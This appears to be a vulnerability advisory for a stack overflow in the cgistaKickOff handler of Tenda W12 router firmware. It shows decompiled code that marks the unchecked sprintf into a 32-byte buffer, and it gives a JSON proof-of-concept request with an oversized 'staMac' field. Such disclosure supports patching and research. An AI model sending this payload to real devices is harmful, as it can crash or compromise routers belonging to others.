

Stack Overflow Vulnerability in the `cgistackioff` Function of Tenda W12

Basic Information

- Vendor: Tenda
- Product: W12
- Firmware Version: V3.0.0.7(4763)
- Firmware Release Date: 2026-03-04

Vulnerability Overview

A stack overflow vulnerability exists in the `cgistackioff` function of the `/bin/httpd` binary in Tenda W12 V3.0.0.7(4763). An attacker can remotely trigger the vulnerability by sending a specially crafted request.

Detailed Analysis

During request parsing, the program does not properly validate the `stamac` field. When the supplied value exceeds 32 bytes, it can overflow the `form_mac` field on the stack.

```

1 void __cdecl cgistaKickOff(webs_t wp, cJSON *in, cJSON *out)
2 {
3     int v3; // $ra
4     int v4; // $s0
5     int v5; // $v0
6     int v6; // $v0
7     char *v7; // $v0
8     int v8; // $v0
9     int v9; // $s1
10    size_t v10; // $v0
11    cJSON *v11; // $v0
12    cJSON *String; // $v0
13    int i; // [sp+20h] [+20h]
14    int ia; // [sp+20h] [+20h]
15    int ib; // [sp+20h] [+20h]
16    int ic; // [sp+20h] [+20h]
17    int mac_num; // [sp+24h] [+24h]
18    int wl_radio; // [sp+28h] [+28h]
19    int rules_out_of_range; // [sp+2Ch] [+2Ch]
20    char *index; // [sp+38h] [+38h]
21    char *mac; // [sp+3Ch] [+3Ch]
22    char *radio; // [sp+40h] [+40h]
23    FILTER_MAC filter_list[32]; // [sp+44h] [+44h] BYREF
24    char mib_name[64]; // [sp+4C4h] [+4C4h] BYREF
25    char filterMode[16]; // [sp+504h] [+504h] BYREF
26    char wifi_macList[2048]; // [sp+514h] [+514h] BYREF
27    char form_mac[32]; // [sp+D14h] [+D14h] BYREF
28    char tmp_mac[32]; // [sp+D34h] [+D34h] BYREF
29    char tmp_macEn[8]; // [sp+D54h] [+D54h] BYREF
30    char prefix_bss[64]; // [sp+D5Ch] [+D5Ch] BYREF
31    char _data[1024]; // [sp+D9Ch] [+D9Ch] BYREF
32    char type[132]; // [sp+119Ch] [+119Ch] BYREF
33
34    v4 = v3;
35    __cyg_profile_func_enter(&cgistaKickOff);
36    rules_out_of_range = 0;
37    memset(filter_list, 0, sizeof(filter_list));
38    memset(filterMode, 0, sizeof(filterMode));
39    memset(wifi_macList, 0, sizeof(wifi_macList));
40    memset(form_mac, 0, sizeof(form_mac));
41    memset(tmp_mac, 0, sizeof(tmp_mac));
42    memset(tmp_macEn, 0, sizeof(tmp_macEn));
43    memset(prefix_bss, 0, sizeof(prefix_bss));
44    index = (char *)cJSON_GetObjectStringValue(in, "ssidIndex", "0");
45    mac = (char *)cJSON_GetObjectStringValue(in, "staMac", &byte_49F5E4);
46    radio = (char *)cJSON_GetObjectStringValue(in, "radio", "2.4G");
47    if ( !strcmp(radio, "2.4G") )
48    {
49        v5 = atoi(index);
50        get_mib_prefix(prefix_bss, 3, v5);
51        wl_radio = 24;
52    }
53    else
54    {
55        v6 = atoi(index);
56        get_mib_prefix(prefix_bss, 5, v6);
57        wl_radio = 5;
58    }
59    mac_num = wifi_get_int_value(prefix_bss, "bss_maclist_num");
60    if ( mac_num >= wifi_get_int_value(prefix_bss, "bss_maclist_max_num") )

```

```

61     rules_out_of_range = 1;
62     for ( i = 0; i < mac_num; ++i )
63     {
64         sprintf(mib_name, "%s%s%d", prefix_bss, "bss_maclist", i + 1);
65         GetValue(mib_name, form_mac);
66         if ( form_mac[0] )
67         {
68             sscanf(form_mac, "%[^,],%[^,]", tmp_mac, tmp_macEn);
69             strncpy(filter_list[i].mac, tmp_mac, 0x1Fu);
70             strncpy(filter_list[i].macEn, tmp_macEn, 3u);
71         }
72     }
73     wifi_get_value(prefix_bss, "bss_maclist", wifi_maclist);
74     wifi_get_value(prefix_bss, "bss_macmode", filterMode);
75     if ( strcmp(filterMode, "disabled") )
76     {
77         if ( !strcmp(filterMode, "allow") )
78         {
79             if ( is_mac_exist(filter_list, mac_num, mac) == 1 )
80             {
81                 if ( mac_num == 1 )
82                 {
83                     wifi_set_value(prefix_bss, "bss_macmode", "deny");
84                 }
85                 else
86                 {
87                     delFilterMac(wifi_maclist, mac);
88                     for ( ic = 0; ic < mac_num; ++ic )
89                     {
90                         sprintf(mib_name, "%s%s%d", prefix_bss, "bss_maclist", ic + 1);
91                         GetValue(mib_name, form_mac);
92                         sscanf(form_mac, "%[^,],%[^,]", tmp_mac, tmp_macEn);
93                         if ( !strcmp(mac, tmp_mac) )
94                             break;
95                     }
96                     sprintf(mib_name, "%s%s%d", prefix_bss, "bss_maclist", ic + 1);
97                     sprintf(form_mac, "%s,%s", mac, "0"); // 溢出form_mac
98                     _wrap_SetValue(mib_name, form_mac);
99                 }
100                 goto LABEL_47;
101             }
102             if ( !rules_out_of_range )
103             {
104                 sprintf(mib_name, "%s%s%d", prefix_bss, "bss_maclist", ++mac_num);
105                 sprintf(form_mac, "%s,%s", mac, "0");

```

PoC request

```

{
  "staKickOff": {
    "ssidIndex": "0",
    "radio": "2.4G",
    "staMac": "A" * 0x2000
  }
}

```

Impact

- Stack Overflow
- May lead to:
 - Device crash (DoS)
 - Potential remote code execution (RCE)